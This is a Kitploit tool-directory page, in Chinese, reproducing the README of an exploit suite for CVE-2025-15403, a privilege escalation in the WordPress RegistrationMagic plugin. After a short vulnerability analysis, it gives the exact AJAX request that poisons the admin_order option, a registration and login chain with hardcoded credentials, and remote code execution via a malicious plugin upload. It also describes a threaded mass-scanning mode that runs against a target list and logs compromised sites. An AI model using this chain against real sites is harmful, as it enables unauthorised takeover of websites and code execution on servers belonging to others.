Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-15403 — RegistrationMagic <= 6.0.7.1 - 未认证权限提升 via admin_order | Kitploit
工具/GitHubGitHub/nxploited/cve-2025-15403
权限提升漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试红队Payload 开发
GitHubnxploited/cve-2025-15403

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - 未认证权限提升 via admin_order

查看仓库
145个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - 未认证权限提升 via admin_order

 ,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'      , ;--'   ,.  ,-.  ,--, 
/    |  /  |           ) /  /\    ) |        '| |     / | /  /\   /  
|    | /   |-   ---   /  | / |   /  `-.  ---  | `-.  '--| | / |  `.  
\    |/    |         /   \/  /  /      )      |    )    | \/  /    ) 
 `-' '     `--'     '--'  `-'  '--' `-'       ' `-'     '  `-'  `-'  

Telegram CVE CVSS Python License


📡 情报在此率先发布。 在 Telegram 上关注 @KNxploited — 精准的 CVE 披露、可用的漏洞利用代码以及深入的漏洞研究。 这个频道属于那些不等新闻、而是创造新闻的人。


🧠 概述

CVE-2025-15403 是 WordPress 的 RegistrationMagic 插件中的一个 CVSS 9.8 严重级别 权限提升漏洞。

该漏洞存在于插件的 add_menu 函数中,该函数通过 rm_user_exists AJAX 动作以未认证方式暴露。攻击者通过向 order 参数注入一个空 slug,同时附带 enable_admin_order=yes 标志,从而操纵插件的内部菜单生成逻辑。当随后生成管理员菜单时,插件会静默地对目标角色调用 add_cap('manage_options') — 将任何订阅者级别的账户提升为完全管理权限。

字段详情
CVE IDCVE-2025-15403
插件RegistrationMagic
别名registrationmagic / custom-registration-form-builder-with-submission-manager
受影响版本所有版本,包括 6.0.7.1
漏洞类型未认证权限提升
攻击条件AJAX 阶段:无。利用:需要一个订阅者账户
攻击向量网络
CVSS 3.1 评分9.8 严重
CVSS 向量AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
影响完全接管 WordPress 管理员
研究人员Nxploited

💀 漏洞深入剖析

根本原因是 add_menu 函数通过 rm_user_exists 无需认证即可访问,同时 admin_order 的 slug 完全没有验证:

// 注册时未进行权限检查
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);

public function rm_user_exists_handler() {
    $slug     = sanitize_text_field($_POST['rm_slug']);
    $order    = $_POST['order'];   // ← 用户控制,未进行消毒处理
    $role_key = /* 从 POST 中获取 */;
    $enable   = $_POST['enable_admin_order'];

    if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
        // 将攻击者控制的 order 存储到插件选项中
        update_option('rm_admin_order', $order);  // 例如 ",menu1" → 第一个 slug 为空
    }
}

// 稍后,当管理员菜单被构建时...
public function add_menu() {
    $order = get_option('rm_admin_order');  // ← 被攻击者污染
    $slugs = explode(',', $order);

    foreach ($slugs as $slug) {
        if (empty($slug)) {
            // 空 slug 触发无条件的能力授予
            $role->add_cap('manage_options');  // ← 添加完全管理员能力
        }
    }
}

为什么这很严重:

  • wp_ajax_nopriv_* = 不需要任何认证即可污染选项
  • order=,menu1 中的空 slug 通过了 empty() 检查,触发了 add_cap('manage_options')
  • manage_options 是 WordPress 的最高能力 — 等同于管理员
  • 任何现有的订阅者账户在下一次管理员菜单加载时立即获得完全管理员权限
  • AJAX 阶段无需任何先前的认证 — 使得整个攻击链几乎没有门槛

⚔️ 利用链

╔══════════════════════════════════════════════════════════════════════════╗
║  阶段 1 — 未认证选项污染                             ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-admin/admin-ajax.php

  action            = rm_user_exists
  rm_slug           = rm_options_admin_menu
  order             = ,menu1              ← 第一个元素为空 = 空 slug
  _Subscriber       = 1                  ← 目标角色键
  restore           = false
  enable_admin_order= yes

响应:HTTP 200(任何非阻断响应都表示选项已被污染)

  ↓ 插件将 order=",menu1" 存储到 wp_options 中
  ↓ 下次管理员菜单构建时,对订阅者角色触发 add_cap('manage_options')

╔══════════════════════════════════════════════════════════════════════════╗
║  阶段 2 — 获取账户(订阅者)                             ║
╚══════════════════════════════════════════════════════════════════════════╝

选项 A — 通过网站注册表单注册(模式 0):
  GET  /wp-login.php?action=register  → 智能表单检测
  POST → 创建订阅者账户
  凭证:NXploited / xplpass123

选项 B — 使用现有的订阅者账户。

╔══════════════════════════════════════════════════════════════════════════╗
║  阶段 3 — 登录 + 能力收获                                   ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-login.php
  log = NXploited
  pwd = xplpass123
  ↓
订阅者账户现在拥有 manage_options → 完全访问管理员面板

╔══════════════════════════════════════════════════════════════════════════╗
║  阶段 4 — 深度验证 & 通过插件上传实现 RCE                    ║
╚══════════════════════════════════════════════════════════════════════════╝

GET  /wp-admin/                          → 管理员仪表盘可访问 ✔️
GET  /wp-admin/plugin-install.php        → 插件安装页面可访问 ✔️
POST /wp-admin/update.php?action=upload-plugin
     pluginzip = Nxploited.zip           → 插件已上传并执行 ✔️
GET  /wp-content/plugins/Nxploited/hello.php
     响应包含 "Nxploited"       → 确认 RCE ✔️

🎯 操作模式

此漏洞利用套件提供三种不同的模式,覆盖完整的攻击生命周期:

模式名称描述
0仅注册智能 WordPress 表单检测 + 订阅者账户注册
1仅利用触发未认证的 AJAX 原语以污染 admin_order
2利用 + 登录 + 验证完整链:原语 → 登录 → 管理员仪表盘 → 插件安装 → RCE

⚙️ 要求

pip install requests colorama urllib3
依赖项用途
requestsHTTP 会话、Cookie 处理、重定向跟踪
colorama跨平台彩色终端输出
urllib3抑制自签名证书的 SSL 警告
concurrent.futures用于高吞吐量多目标扫描的线程池
zipfile用于 RCE 验证的内存中测试插件 ZIP 生成
html.parser智能注册表单检测和字段提取

需要 Python 3.8+。推荐 Python 3.10+(使用了 X | Y 联合类型提示)。


📂 文件结构

CVE-2025-15403/
├── CVE-2025-15403.py                 # 主漏洞利用套件
├── list.txt                          # 目标 URL — 每行一个
│
├── rm_register_results.txt           # 模式 0:成功注册的记录
├── rm_exploit_results.txt            # 模式 1 & 2:原语触发日志
├── rm_admin_verify.txt               # 模式 2:登录 + 管理员验证日志
├── rm_plugin_uploads.txt             # 模式 2:插件上传尝试日志
│
├── rm_admin_dashboard_success.txt    # ✔ 确认管理员仪表盘可访问的站点
├── rm_plugin_install_access.txt      # ✔ 确认插件安装页面可访问的站点
└── rm_plugin_rce_success.txt         # ✔ 确认通过插件上传实现 RCE 的站点

底部的三个 _success 文件代表了逐步递进的攻陷级别 — 一旦其条件被确认,就会独立写入。


🚀 使用方法

步骤 1 — 准备目标

创建 list.txt,每行一个 URL 或主机名:

https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com

没有 scheme 的裸主机名会自动添加 https:// 前缀。 子目录 WordPress 安装(例如 /wordpress)会被自动检测和处理。


步骤 2 — 运行套件

python CVE-2025-15403.py

系统会交互式地提示您输入所有参数。模式 2 的示例会话:

选择模式(0 = 注册,1 = 利用,2 = 利用+验证)[0]:2
目标列表文件(每行一个主机/URL)[list.txt]:list.txt
线程数(并发站点)[5]:20
HTTP 超时(秒)[10]:12
要升级的角色键(例如 _Subscriber, _Editor)[_Subscriber]:_Subscriber
登录用户名(例如 NXploited)[NXploited]:NXploited
该用户的密码 [xplpass123]:xplpass123
管理员验证的输出文件 [rm_admin_verify.txt]:rm_admin_verify.txt
插件上传测试的输出文件 [rm_plugin_uploads.txt]:rm_plugin_uploads.txt
在模式 2 中,登录前是否发送原语?(yes/no)[yes]:yes

下载工具